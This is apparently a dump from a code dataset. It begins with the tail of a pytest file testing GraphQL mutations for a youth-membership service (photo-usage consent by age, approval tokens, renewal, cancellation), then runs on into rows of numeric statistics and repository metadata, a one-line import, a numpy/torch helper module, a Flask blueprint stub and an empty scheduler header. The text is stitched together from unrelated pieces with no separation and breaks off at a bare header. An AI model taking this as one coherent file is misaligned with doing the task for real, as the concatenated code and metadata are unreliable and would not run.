"errors" in executed assert ( executed["errors"][0]["extensions"]["code"] == CANNOT_SET_PHOTO_USAGE_PERMISSION_IF_UNDER_15_YEARS_ERROR ) def test_normal_user_can_update_youth_profile_mutation(rf, user_gql_client): request = rf.post("/graphql") request.user = user_gql_client.user youth_profile = YouthProfileFactory(user=user_gql_client.user) t = Template( """ mutation{ updateMyYouthProfile( input: { youthProfile: { schoolClass: "${schoolClass}" birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { schoolClass schoolName birthDate } } } """ ) creation_data = {"schoolClass": "2A", "birthDate": "2002-02-02"} query = t.substitute(**creation_data) expected_data = { "youthProfile": { "schoolClass": creation_data["schoolClass"], "schoolName": youth_profile.school_name, "birthDate": creation_data["birthDate"], } } executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]["updateMyYouthProfile"]) == expected_data @pytest.mark.parametrize("resend", [True, False]) def test_normal_user_can_resend_request_notification_on_update( rf, user_gql_client, mocker, my_profile_api_response, token_response, resend ): mocker.patch.object( ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response ) mocker.patch.object( ProfileAPI, "create_temporary_access_token", return_value=token_response ) mocked_notification = mocker.patch("youths.models.send_notification") request = rf.post("/graphql") request.user = user_gql_client.user youth_profile = YouthProfileFactory(user=user_gql_client.user) original_approval_token = youth_profile.approval_token original_profile_access_token = youth_profile.profile_access_token t = Template( """ mutation{ updateMyYouthProfile( input: { youthProfile: { resendRequestNotification: ${resend} } profileApiToken: "token" } ) { youthProfile { id } } } """ ) query = t.substitute(resend=json.dumps(resend)) user_gql_client.execute(query, context=request) youth_profile.refresh_from_db() if resend: assert youth_profile.approval_token assert youth_profile.approval_token != original_approval_token assert youth_profile.profile_access_token == token_response["token"] mocked_notification.assert_called_once() assert mocked_notification.call_args.kwargs["context"] == { "youth_profile": YouthProfile.objects.get(pk=youth_profile.pk), "youth_name": my_profile_api_response["first_name"], "youth_membership_ui_base_url": ANY, } else: assert youth_profile.approval_token == original_approval_token assert youth_profile.profile_access_token == original_profile_access_token def test_user_can_update_youth_profile_with_photo_usage_field_if_over_15_years_old( rf, user_gql_client ): request = rf.post("/graphql") request.user = user_gql_client.user YouthProfileFactory(user=user_gql_client.user) today = date.today() t = Template( """ mutation{ updateMyYouthProfile( input: { youthProfile: { photoUsageApproved: ${photoUsageApproved} birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { photoUsageApproved birthDate } } } """ ) birth_date = today.replace(year=today.year - 15) - timedelta(days=1) creation_data = { "photoUsageApproved": "true", "birthDate": birth_date.strftime("%Y-%m-%d"), } query = t.substitute(**creation_data) expected_data = { "youthProfile": { "photoUsageApproved": True, "birthDate": creation_data["birthDate"], } } executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]["updateMyYouthProfile"]) == expected_data def test_user_cannot_update_youth_profile_with_photo_usage_field_if_under_15_years_old( rf, user_gql_client ): request = rf.post("/graphql") request.user = user_gql_client.user YouthProfileFactory(user=user_gql_client.user) today = date.today() t = Template( """ mutation{ updateMyYouthProfile( input: { youthProfile: { photoUsageApproved: ${photoUsageApproved} birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { photoUsageApproved birthDate } } } """ ) birth_date = today.replace(year=today.year - 15) + timedelta(days=1) creation_data = { "photoUsageApproved": "true", "birthDate": birth_date.strftime("%Y-%m-%d"), } query = t.substitute(**creation_data) executed = user_gql_client.execute(query, context=request) assert "errors" in executed assert ( executed["errors"][0]["extensions"]["code"] == CANNOT_SET_PHOTO_USAGE_PERMISSION_IF_UNDER_15_YEARS_ERROR ) def test_user_can_update_youth_profile_with_photo_usage_field_if_over_15_years_old_based_on_existing_birth_date( rf, user_gql_client ): request = rf.post("/graphql") request.user = user_gql_client.user today = date.today() birth_date = today.replace(year=today.year - 15) - timedelta(days=1) YouthProfileFactory(user=user_gql_client.user, birth_date=birth_date) t = Template( """ mutation{ updateMyYouthProfile( input: { youthProfile: { photoUsageApproved: ${photoUsageApproved} } profileApiToken: "token" } ) { youthProfile { photoUsageApproved } } } """ ) creation_data = {"photoUsageApproved": "true"} query = t.substitute(**creation_data) expected_data = {"youthProfile": {"photoUsageApproved": True}} executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]["updateMyYouthProfile"]) == expected_data def test_user_cannot_update_youth_profile_with_photo_usage_field_if_under_15_years_old_based_on_existing_birth_date( rf, user_gql_client ): request = rf.post("/graphql") request.user = user_gql_client.user today = date.today() birth_date = today.replace(year=today.year - 15) + timedelta(days=1) YouthProfileFactory(user=user_gql_client.user, birth_date=birth_date) t = Template( """ mutation{ updateMyYouthProfile( input: { youthProfile: { photoUsageApproved: ${photoUsageApproved} } profileApiToken: "token" } ) { youthProfile { photoUsageApproved } } } """ ) creation_data = {"photoUsageApproved": "true"} query = t.substitute(**creation_data) executed = user_gql_client.execute(query, context=request) assert "errors" in executed assert ( executed["errors"][0]["extensions"]["code"] == CANNOT_SET_PHOTO_USAGE_PERMISSION_IF_UNDER_15_YEARS_ERROR ) def test_staff_user_can_update_youth_profile_with_photo_usage_field_if_under_15_years_old( rf, staff_user_gql_client ): user = staff_user_gql_client.user request = rf.post("/graphql") request.user = user # Under 15 years today = date.today() birth_date = today.replace(year=today.year - 15) + timedelta(days=1) youth_profile = YouthProfileFactory(birth_date=birth_date) t = Template( """ mutation { updateYouthProfile(input:{ id: \"${id}\", youthProfile: { photoUsageApproved: ${photo_usage_approved} } }) { youthProfile { photoUsageApproved } } } """ ) mutation = t.substitute( id=to_global_id(type="YouthProfileNode", id=youth_profile.pk), photo_usage_approved="true", ) executed = staff_user_gql_client.execute(mutation, context=request) expected_data = {"youthProfile": {"photoUsageApproved": True}} youth_profile.refresh_from_db() assert "errors" not in executed assert youth_profile.photo_usage_approved assert dict(executed["data"]["updateYouthProfile"]) == expected_data def test_anon_user_can_approve_with_token( rf, anon_user_gql_client, youth_profile, mocker, restricted_profile_response ): mocker.patch.object( ProfileAPI, "fetch_profile_with_temporary_access_token", return_value=restricted_profile_response, ) request = rf.post("/graphql") request.user = anon_user_gql_client.user t = Template( """ mutation{ approveYouthProfile( input: { approvalToken: "${token}", approvalData: { photoUsageApproved: true approverFirstName: "${approver_first_name}" approverLastName: "${approver_last_name}" approverPhone: "${approver_phone}" approverEmail: "${approver_email}" birthDate: "${birthDate}" } } ) { youthProfile { photoUsageApproved approverFirstName approverLastName approverPhone approverEmail birthDate } } } """ ) approval_data = { "token": youth_profile.approval_token, "approver_first_name": "Teppo", "approver_last_name": "Testi", "approver_phone": "0401234567", "approver_email": "teppo@testi.com", "birthDate": "2002-02-02", } query = t.substitute(**approval_data) expected_data = { "youthProfile": { "photoUsageApproved": True, "approverFirstName": approval_data["approver_first_name"], "approverLastName": approval_data["approver_last_name"], "approverPhone": approval_data["approver_phone"], "approverEmail": approval_data["approver_email"], "birthDate": approval_data["birthDate"], } } executed = anon_user_gql_client.execute(query, context=request) assert dict(executed["data"]["approveYouthProfile"]) == expected_data youth_profile.refresh_from_db() assert youth_profile.membership_status == MembershipStatus.ACTIVE def test_approving_with_token_sends_confirmation_message( rf, youth_profile, mocker, anon_user_gql_client, restricted_profile_response ): mocker.patch.object( ProfileAPI, "fetch_profile_with_temporary_access_token", return_value=restricted_profile_response, ) request = rf.post("/graphql") request.user = anon_user_gql_client.user mocked_notification = mocker.patch("youths.schema.mutations.send_notification") t = Template( """ mutation{ approveYouthProfile( input: { approvalToken: "${token}", approvalData: {} } ) { youthProfile { id } } } """ ) query = t.substitute(token=youth_profile.approval_token) anon_user_gql_client.execute(query, context=request) mocked_notification.assert_called_once() assert mocked_notification.call_args.kwargs["context"] == { "youth_profile": YouthProfile.objects.get(pk=youth_profile.pk), "youth_name": restricted_profile_response["first_name"], "youth_membership_ui_base_url": ANY, } assert ( mocked_notification.call_args.kwargs["email"] == restricted_profile_response["email"] ) @pytest.mark.parametrize("missing", [True, False]) def test_profile_access_token_expired_error( rf, youth_profile, anon_user_gql_client, missing ): request = rf.post("/graphql") request.user = anon_user_gql_client.user if missing: youth_profile.profile_access_token = "" youth_profile.profile_access_token_expiration = None else: # Token old youth_profile.profile_access_token = "token" youth_profile.profile_access_token_expiration = timezone.now() - timedelta( days=1 ) youth_profile.save() t = Template( """ mutation{ approveYouthProfile( input: { approvalToken: "${token}", approvalData: {} } ) { youthProfile { id } } } """ ) query = t.substitute(token=youth_profile.approval_token) executed = anon_user_gql_client.execute(query, context=request) assert executed["errors"][0].get("extensions").get("code") == "TOKEN_EXPIRED_ERROR" def test_missing_primary_email_error(rf, youth_profile, anon_user_gql_client, mocker): r = RestrictedProfileAPIResponse(email=None) mocker.patch.object( ProfileAPI, "fetch_profile_with_temporary_access_token", return_value=r ) request = rf.post("/graphql") request.user = anon_user_gql_client.user t = Template( """ mutation{ approveYouthProfile( input: { approvalToken: "${token}", approvalData: {} } ) { youthProfile { id } } } """ ) query = t.substitute(token=youth_profile.approval_token) executed = anon_user_gql_client.execute(query, context=request) assert ( executed["errors"][0].get("extensions").get("code") == "PROFILE_HAS_NO_PRIMARY_EMAIL_ERROR" ) def test_youth_profile_expiration_should_renew_and_be_approvable( rf, user_gql_client, anon_user_gql_client, mocker, my_profile_api_response, restricted_profile_response, ): mocker.patch.object( ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response ) mocker.patch.object( ProfileAPI, "fetch_profile_with_temporary_access_token", return_value=restricted_profile_response, ) request = rf.post("/graphql") request.user = user_gql_client.user # Let's create a youth profile in the 2020 with freeze_time("2020-05-02"): today = date.today() youth_profile = YouthProfileFactory( user=user_gql_client.user, approved_time=datetime.today(), birth_date=today.replace(year=today.year - 15), ) # In the year 2021, let's renew it with freeze_time("2021-05-01"): r = ProfileAPITokenResponse() mocker.patch.object(ProfileAPI, "create_temporary_access_token", return_value=r) mutation = """ mutation { renewMyYouthProfile(input: { profileApiToken: "token" }) { youthProfile { membershipStatus } } } """ executed = user_gql_client.execute(mutation, context=request) expected_data = { "renewMyYouthProfile": {"youthProfile": {"membershipStatus": "RENEWING"}} } assert dict(executed["data"]) == expected_data # Later in the year 2021, let's check our membership status with freeze_time("2021-09-01"): query = """ { myYouthProfile { membershipStatus } } """ expected_data = {"myYouthProfile": {"membershipStatus": "PENDING"}} executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]) == expected_data # Let's go back in time a few months and re-approve the membership with freeze_time("2021-05-02"): request.user = anon_user_gql_client.user t = Template( """ mutation{ approveYouthProfile( input: { approvalToken: "${token}", approvalData: {} } ) { youthProfile { membershipStatus } } } """ ) youth_profile.refresh_from_db() query = t.substitute(token=youth_profile.approval_token) expected_data = { "approveYouthProfile": {"youthProfile": {"membershipStatus": "ACTIVE"}} } executed = anon_user_gql_client.execute(query, context=request) assert dict(executed["data"]) == expected_data def test_youth_profile_renewal_sends_approval_message_for_a_minor( rf, user_gql_client, anon_user_gql_client, mocker, my_profile_api_response, token_response, ): mocker.patch.object( ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response ) mocker.patch.object( ProfileAPI, "create_temporary_access_token", return_value=token_response ) mocked_notification = mocker.patch("youths.models.send_notification") request = rf.post("/graphql") request.user = user_gql_client.user # Create a youth profile in the 2020 with freeze_time("2020-05-02"): today = date.today() youth_profile = YouthProfileFactory( user=user_gql_client.user, approved_time=datetime.today(), birth_date=today.replace(year=today.year - 15), ) # Renew the profile in 2021 with freeze_time("2021-05-01"): mutation = """ mutation { renewMyYouthProfile(input: { profileApiToken: "token" }) { youthProfile { membershipStatus } } } """ user_gql_client.execute(mutation, context=request) youth_profile.refresh_from_db() assert youth_profile.profile_access_token == token_response["token"] assert ( youth_profile.profile_access_token_expiration == token_response["expires_at"] ) mocked_notification.assert_called_once() assert mocked_notification.call_args.kwargs["context"] == { "youth_profile": YouthProfile.objects.get(pk=youth_profile.pk), "youth_name": my_profile_api_response["first_name"], "youth_membership_ui_base_url": ANY, } def test_youth_profile_expiration_should_be_renewable_by_staff_user( rf, user, staff_user_gql_client, anon_user_gql_client ): """Profiles renew by staff are set as approved.""" staff_user = staff_user_gql_client.user request = rf.post("/graphql") request.user = staff_user # Let's create a youth profile in the 2020 with freeze_time("2020-05-02"): today = date.today() youth_profile = YouthProfileFactory( user=user, approved_time=datetime.today(), birth_date=today.replace(year=today.year - 15), ) # In the year 2021, let's renew it with freeze_time("2021-05-01"): t = Template( """ mutation { renewYouthProfile(input:{ id: \"${id}\" }) { youthProfile { membershipStatus } } } """ ) mutation = t.substitute( id=to_global_id(type="YouthProfileNode", id=youth_profile.pk), ) executed = staff_user_gql_client.execute(mutation, context=request) expected_data = { "renewYouthProfile": {"youthProfile": {"membershipStatus": "ACTIVE"}} } assert dict(executed["data"]) == expected_data def test_youth_profile_expiration_for_over_18_years_old_should_renew_and_change_to_active( rf, user_gql_client, anon_user_gql_client ): request = rf.post("/graphql") request.user = user_gql_client.user # Let's create a youth profile in the 2020 with freeze_time("2020-05-02"): today = date.today() YouthProfileFactory( user=user_gql_client.user, approved_time=datetime.today(), birth_date=today.replace(year=today.year - 18, day=today.day - 1), ) # In the year 2021, let's renew it with freeze_time("2021-05-01"): mutation = """ mutation { renewMyYouthProfile(input:{ profileApiToken: "token" }) { youthProfile { membershipStatus } } } """ executed = user_gql_client.execute(mutation, context=request) expected_data = { "renewMyYouthProfile": {"youthProfile": {"membershipStatus": "ACTIVE"}} } assert dict(executed["data"]) == expected_data def test_should_not_be_able_to_renew_pending_youth_profile(rf, user_gql_client): request = rf.post("/graphql") request.user = user_gql_client.user with freeze_time("2020-05-15"): today = date.today() YouthProfileFactory( user=user_gql_client.user, birth_date=today.replace(year=today.year - 18, day=today.day - 1), ) with freeze_time("2020-06-02"): # test query query = """ { myYouthProfile { membershipStatus renewable } } """ expected_data = { "myYouthProfile": {"membershipStatus": "PENDING", "renewable": False} } executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]) == expected_data # test mutation mutation = """ mutation { renewMyYouthProfile(input:{ profileApiToken: "token" }) { youthProfile { membershipStatus } } } """ executed = user_gql_client.execute(mutation, context=request) assert ( executed["errors"][0].get("extensions").get("code") == CANNOT_RENEW_YOUTH_PROFILE_ERROR ) def test_staff_user_can_create_youth_profile( rf, staff_user_gql_client, mocker, profile_api_response ): mocker.patch.object(ProfileAPI, "fetch_profile", return_value=profile_api_response) profile_id = from_global_id(profile_api_response["id"])[1] profile_global_id = to_global_id(type="YouthProfileNode", id=profile_id) user = staff_user_gql_client.user request = rf.post("/graphql") request.user = user today = date.today() birth_date = today.replace(year=today.year - 13) - timedelta(days=1) youth_profile_data = { "id": profile_global_id, "birth_date": birth_date.strftime("%Y-%m-%d"), "school_name": "Koulu", "school_class": "2B", "language_at_home": YouthLanguage.ENGLISH.name, "approver_first_name": "Jane", "approver_last_name": "Doe", "approver_phone": "040-1234567", "approver_email": "jane.doe@example.com", } t = Template( """ mutation { createYouthProfile( input: { id: \"${id}\", youthProfile: { birthDate: \"${birth_date}\", schoolName: \"${school_name}\", schoolClass: \"${school_class}\", languageAtHome: ${language_at_home}, approverEmail: \"${approver_email}\", approverPhone: \"${approver_phone}\", approverFirstName: \"${approver_first_name}\", approverLastName: \"${approver_last_name}\", } profileApiToken: "token" } ) { youthProfile { id birthDate schoolName schoolClass languageAtHome approverEmail approverPhone approverFirstName approverLastName } } } """ ) query = t.substitute(**youth_profile_data) expected_data = { "createYouthProfile": { "youthProfile": { "id": youth_profile_data["id"], "birthDate": youth_profile_data["birth_date"], "schoolName": youth_profile_data["school_name"], "schoolClass": youth_profile_data["school_class"], "languageAtHome": youth_profile_data["language_at_home"], "approverEmail": youth_profile_data["approver_email"], "approverPhone": youth_profile_data["approver_phone"], "approverFirstName": youth_profile_data["approver_first_name"], "approverLastName": youth_profile_data["approver_last_name"], } } } executed = staff_user_gql_client.execute(query, context=request) assert executed["data"] == expected_data def test_staff_user_cannot_create_youth_profile_if_profile_does_not_exist( rf, staff_user_gql_client, mocker, profile_api_response ): """Creating a youth profile will query Helsinki profile for the given profile id.""" mocker.patch.object(ProfileAPI, "fetch_profile", return_value={"id": ""}) profile_id = from_global_id(profile_api_response["id"])[1] profile_global_id = to_global_id(type="YouthProfileNode", id=profile_id) user = staff_user_gql_client.user request = rf.post("/graphql") request.user = user today = date.today() birth_date = today.replace(year=today.year - 13) - timedelta(days=1) youth_profile_data = { "birth_date": birth_date.strftime("%Y-%m-%d"), "approver_email": "jane.doe@example.com", } t = Template( """ mutation { createYouthProfile( input: { id: \"${id}\", youthProfile: { birthDate: \"${birth_date}\", approverEmail: \"${approver_email}\", } profileApiToken: "token" } ) { youthProfile { id } } } """ ) query = t.substitute( id=profile_global_id, birth_date=youth_profile_data["birth_date"], approver_email=youth_profile_data["approver_email"], ) executed = staff_user_gql_client.execute(query, context=request) assert ( executed["errors"][0].get("extensions").get("code") == PROFILE_DOES_NOT_EXIST_ERROR ) def test_staff_user_can_create_youth_profile_for_under_13_years_old( rf, staff_user_gql_client, mocker, profile_api_response ): mocker.patch.object(ProfileAPI, "fetch_profile", return_value=profile_api_response) profile_id = from_global_id(profile_api_response["id"])[1] profile_global_id = to_global_id(type="YouthProfileNode", id=profile_id) user = staff_user_gql_client.user request = rf.post("/graphql") request.user = user today = date.today() birth_date = today.replace(year=today.year - 13) + timedelta(days=1) youth_profile_data = { "id": profile_global_id, "birth_date": birth_date.strftime("%Y-%m-%d"), "approver_email": "jane.doe@example.com", } t = Template( """ mutation { createYouthProfile( input: { id: \"${id}\", youthProfile: { birthDate: \"${birth_date}\", approverEmail: \"${approver_email}\", } profileApiToken: "token" } ) { youthProfile { id birthDate approverEmail } } } """ ) query = t.substitute(**youth_profile_data) expected_data = { "createYouthProfile": { "youthProfile": { "id": youth_profile_data["id"], "birthDate": youth_profile_data["birth_date"], "approverEmail": youth_profile_data["approver_email"], } } } executed = staff_user_gql_client.execute(query, context=request) assert executed["data"] == expected_data def test_staff_user_creates_approved_profiles( rf, staff_user_gql_client, mocker, profile_api_response ): mocker.patch.object(ProfileAPI, "fetch_profile", return_value=profile_api_response) profile_id = from_global_id(profile_api_response["id"])[1] profile_global_id = to_global_id(type="YouthProfileNode", id=profile_id) user = staff_user_gql_client.user request = rf.post("/graphql") request.user = user today = date.today() birth_date = today.replace(year=today.year - 13) - timedelta(days=1) youth_profile_data = { "id": profile_global_id, "birth_date": birth_date.strftime("%Y-%m-%d"), "school_name": "Koulu", "school_class": "2B", "language_at_home": YouthLanguage.ENGLISH.name, "approver_first_name": "Jane", "approver_last_name": "Doe", "approver_phone": "040-1234567", "approver_email": "jane.doe@example.com", } t = Template( """ mutation { createYouthProfile( input: { id: \"${id}\", youthProfile: { birthDate: \"${birth_date}\", schoolName: \"${school_name}\", schoolClass: \"${school_class}\", languageAtHome: ${language_at_home}, approverEmail: \"${approver_email}\", approverPhone: \"${approver_phone}\", approverFirstName: \"${approver_first_name}\", approverLastName: \"${approver_last_name}\", } profileApiToken: "token" } ) { youthProfile { id } } } """ ) query = t.substitute(**youth_profile_data) staff_user_gql_client.execute(query, context=request) youth_profile = YouthProfile.objects.get(pk=profile_id) assert youth_profile.approved_time is not None assert youth_profile.membership_status == MembershipStatus.ACTIVE def test_normal_user_cannot_use_create_youth_profile_mutation( rf, user_gql_client, mocker, profile_api_response ): mocker.patch.object(ProfileAPI, "fetch_profile", return_value=profile_api_response) profile_id = from_global_id(profile_api_response["id"])[1] user = user_gql_client.user request = rf.post("/graphql") request.user = user today = date.today() birth_date = today.replace(year=today.year - 13) - timedelta(days=1) youth_profile_data = { "id": to_global_id(type="YouthProfileNode", id=profile_id), "birth_date": birth_date.strftime("%Y-%m-%d"), "approver_email": "jane.doe@example.com", } t = Template( """ mutation { createYouthProfile( input: { id: \"${id}\", youthProfile: { birthDate: \"${birth_date}\", approverEmail: \"${approver_email}\", } profileApiToken: "token" } ) { youthProfile { id birthDate approverEmail } } } """ ) query = t.substitute(**youth_profile_data) executed = user_gql_client.execute(query, context=request) assert ( executed["errors"][0].get("extensions").get("code") == PERMISSION_DENIED_ERROR ) def test_staff_user_can_cancel_youth_membership_on_selected_date( rf, staff_user_gql_client, youth_profile ): user = staff_user_gql_client.user request = rf.post("/graphql") request.user = user today = date.today() expiration_date = today + timedelta(days=1) youth_profile_data = { "id": to_global_id(type="YouthProfileNode", id=youth_profile.pk), "expiration": expiration_date.strftime("%Y-%m-%d"), } t = Template( """ mutation { cancelYouthProfile( input: { id: \"${id}\", expiration: \"${expiration}\" } ) { youthProfile { expiration } } } """ ) query = t.substitute(**youth_profile_data) expected_data = { "cancelYouthProfile": { "youthProfile": {"expiration": youth_profile_data["expiration"]} } } executed = staff_user_gql_client.execute(query, context=request) assert executed["data"] == expected_data def test_staff_user_can_cancel_youth_membership_now( rf, staff_user_gql_client, youth_profile ): user = staff_user_gql_client.user request = rf.post("/graphql") request.user = user t = Template( """ mutation { cancelYouthProfile( input: { id: \"${id}\", } ) { youthProfile { expiration } } } """ ) query = t.substitute(id=to_global_id(type="YouthProfileNode", id=youth_profile.pk)) expected_data = { "cancelYouthProfile": { "youthProfile": {"expiration": date.today().strftime("%Y-%m-%d")} } } executed = staff_user_gql_client.execute(query, context=request) assert executed["data"] == expected_data def test_normal_user_can_cancel_youth_membership(rf, user_gql_client): request = rf.post("/graphql") request.user = user_gql_client.user YouthProfileFactory(user=user_gql_client.user, approved_time=datetime.now()) today = date.today() expiration = today - timedelta(days=1) expiration_string = expiration.strftime("%Y-%m-%d") t = Template( """ mutation{ cancelMyYouthProfile( input: { expiration: \"${expiration}\" } ) { youthProfile { expiration membershipStatus } } } """ ) query = t.substitute(expiration=expiration_string) expected_data = { "youthProfile": {"expiration": expiration_string, "membershipStatus": "EXPIRED"} } executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]["cancelMyYouthProfile"]) == expected_data def test_normal_user_can_cancel_youth_membership_now(rf, user_gql_client): """YouthProfile is ACTIVE on the expiration day, EXPIRED on the day after it.""" request = rf.post("/graphql") request.user = user_gql_client.user yp = YouthProfileFactory(user=user_gql_client.user, approved_time=datetime.now()) query = """ mutation{ cancelMyYouthProfile( input: {} ) { youthProfile { expiration membershipStatus } } } """ expected_data = { "youthProfile": { "expiration": date.today().strftime("%Y-%m-%d"), "membershipStatus": "ACTIVE", } } executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]["cancelMyYouthProfile"]) == expected_data yp.refresh_from_db() assert yp.membership_status == MembershipStatus.ACTIVE with freeze_time(datetime.now() + timedelta(days=1)): yp.refresh_from_db() assert yp.membership_status == MembershipStatus.EXPIRED
31.947826
116
0.56338
4,647
51,436
5.918227
0.061975
0.029525
0.054832
0.028434
0.85252
0.814632
0.794597
0.769399
0.730201
0.702749
0
0.009222
0.335893
51,436
1,609
117
31.967682
0.795896
0.016409
0
0.651366
0
0
0.180018
0.022471
0
0
0
0
0.06776
1
0.034973
false
0
0.015301
0
0.050273
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
dc5b669eb143eeabad93a06f00e87909b7763567
30
py
Python
hypothesis/engine/__init__.py
boyali/hypothesis-sre
f44d25eb281d49663d49d134ee73ad542849714b
[ "BSD-3-Clause" ]
45
2019-02-13T14:16:35.000Z
2022-02-23T21:30:02.000Z
hypothesis/engine/__init__.py
boyali/hypothesis-sre
f44d25eb281d49663d49d134ee73ad542849714b
[ "BSD-3-Clause" ]
1
2020-01-13T08:29:50.000Z
2020-01-22T10:28:02.000Z
hypothesis/engine/__init__.py
boyali/hypothesis-sre
f44d25eb281d49663d49d134ee73ad542849714b
[ "BSD-3-Clause" ]
8
2019-04-23T14:25:08.000Z
2021-07-28T15:05:31.000Z
from .engine import Procedure
15
29
0.833333
4
30
6.25
1
0
0
0
0
0
0
0
0
0
0
0
0.133333
30
1
30
30
0.961538
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
dc82edf66b1c2fe5f96fa01d770bcd8c32982271
2,511
py
Python
code/utils/misc.py
niuwk/infonets
274e97c9a86144dd52cbe90caffff578a2f5d178
[ "BSD-3-Clause" ]
8
2018-06-20T23:20:43.000Z
2020-01-12T01:32:06.000Z
code/utils/misc.py
niuwk/infonets
274e97c9a86144dd52cbe90caffff578a2f5d178
[ "BSD-3-Clause" ]
null
null
null
code/utils/misc.py
niuwk/infonets
274e97c9a86144dd52cbe90caffff578a2f5d178
[ "BSD-3-Clause" ]
4
2018-06-26T20:28:13.000Z
2021-06-17T13:39:56.000Z
# misc.py """ Created on Tue Jun 5 00:21:24 2018 @author: Wentao Huang """ from __future__ import absolute_import, division, print_function #import ipdb import numpy as np import torch as tc def get_b_beta_by_n_sgd(n=1, xmax=1.0e+4, Nx=1e+6, to_tensor=True, dtype=tc.float): b = np.log(1.0*n) x = np.linspace(-xmax, xmax, int(Nx)) y0 = 1.0/(1.0 + np.exp(-x - b)) y0 = n*(y0**n)*(1.0 - y0) v = np.trapz(y0, x) y0 = (x**2)*y0 s = np.trapz(y0, x) beta = np.sqrt(s/v) if to_tensor: b = tc.tensor(b,dtype=dtype) beta = tc.tensor(beta,dtype=dtype) return b, beta def get_b_beta_by_tanh(xmax=1.0e+4, Nx=1e+6, to_tensor=True, dtype=tc.float): b = 0.0 x = np.linspace(-xmax, xmax, int(Nx)) y0 = 1.0 - np.tanh(x)**2 v = np.trapz(y0, x) y0 = (x**2)*y0 s = np.trapz(y0, x) beta = np.sqrt(s/v) if to_tensor: b = tc.tensor(b,dtype=dtype) beta = tc.tensor(beta,dtype=dtype) return b, beta def get_b_gamma_by_ReLU_margin(margin=1.0, xmax=1.0e+4, Nx=1e+6, to_tensor=True, dtype=tc.float): b = 0.0 xm = 2.0 + np.exp(-margin) x = np.linspace(-xmax, xm, Nx) y0 = 1.0/(1.0 + np.exp(-x+margin)) v = np.trapz(y0, x) y0 = (x**2)*y0 s = np.trapz(y0, x) gamma = np.sqrt(s/v)# =1.52 if to_tensor: b = tc.tensor(b,dtype=dtype) gamma = tc.tensor(gamma,dtype=dtype) return b, gamma def get_b_gamma_by_ReLU_margin_1(margin=1.0, gamma=2.22, xmax=1.0e+4, Nx=1e+6, to_tensor=True, dtype=tc.float): b = 0.0 x = np.linspace(-xmax, xmax, Nx) y0 = 1.0/((1.0 + np.exp(-x+margin*gamma))*(1.0 + np.exp(x+margin*gamma))) v = np.trapz(y0, x) y0 = (x**2)*y0 s = np.trapz(y0, x) gamma = np.sqrt(s/(v )) if to_tensor: b = tc.tensor(b,dtype=dtype) gamma = tc.tensor(gamma,dtype=dtype) return b, gamma def get_b_gamma_by_ReLU_margin_2(margin=1.0, gamma=2.22, maxiters=10, xmax=1.0e+4, Nx=1e+6, to_tensor=True, dtype=tc.float): b, gamma = get_b_gamma_by_ReLU_margin_1(margin=margin, gamma=gamma, xmax=xmax, Nx=Nx, to_tensor=to_tensor, dtype=to_tensor) for i in np.arange(maxiters): b, gamma = get_b_gamma_by_ReLU_margin_1(margin=margin, gamma=gamma, xmax=xmax, Nx=Nx,to_tensor=to_tensor, dtype=to_tensor) return b, gamma
31.78481
91
0.563521
455
2,511
2.98022
0.16044
0.088496
0.053097
0.058997
0.804572
0.79056
0.771386
0.74115
0.735988
0.730089
0
0.062706
0.275986
2,511
78
92
32.192308
0.683168
0.033453
0
0.666667
0
0
0
0
0
0
0
0
0
1
0.079365
false
0
0.047619
0
0.206349
0.015873
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
dcb93c67e64dc292886c5c460b15e0b8b9dcf46b
87
py
Python
app/rest/__init__.py
AlvinCJin/deepfit-webapp
b5a391bd96498481aecdcf9077e9ad1af5b5d28a
[ "BSD-3-Clause" ]
10
2018-02-10T14:12:08.000Z
2020-11-01T16:48:52.000Z
app/rest/__init__.py
AlvinCJin/deepfit-webapp
b5a391bd96498481aecdcf9077e9ad1af5b5d28a
[ "BSD-3-Clause" ]
1
2018-10-18T23:05:28.000Z
2018-10-18T23:05:28.000Z
app/rest/__init__.py
AlvinCJin/deepfit-webapp
b5a391bd96498481aecdcf9077e9ad1af5b5d28a
[ "BSD-3-Clause" ]
1
2017-11-01T13:46:08.000Z
2017-11-01T13:46:08.000Z
from flask import Blueprint rest_bp = Blueprint('rest', __name__) from . import tasks
17.4
37
0.770115
12
87
5.166667
0.666667
0.419355
0
0
0
0
0
0
0
0
0
0
0.149425
87
5
38
17.4
0.837838
0
0
0
0
0
0.045455
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0.666667
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
1
0
6
f4d5eeadde20b199c89bb55f709b82d6023aa8c2
10,143
py
Python
torchlib/optim/lr_scheduler.py
antsfamily/torchtool
fd0d6e6fe6701206b15f95af145d6178a87233f9
[ "MIT" ]
1
2019-08-15T15:32:36.000Z
2019-08-15T15:32:36.000Z
torchlib/optim/lr_scheduler.py
antsfamily/torchtool
fd0d6e6fe6701206b15f95af145d6178a87233f9
[ "MIT" ]
null
null
null
torchlib/optim/lr_scheduler.py
antsfamily/torchtool
fd0d6e6fe6701206b15f95af145d6178a87233f9
[ "MIT" ]
null
null
null
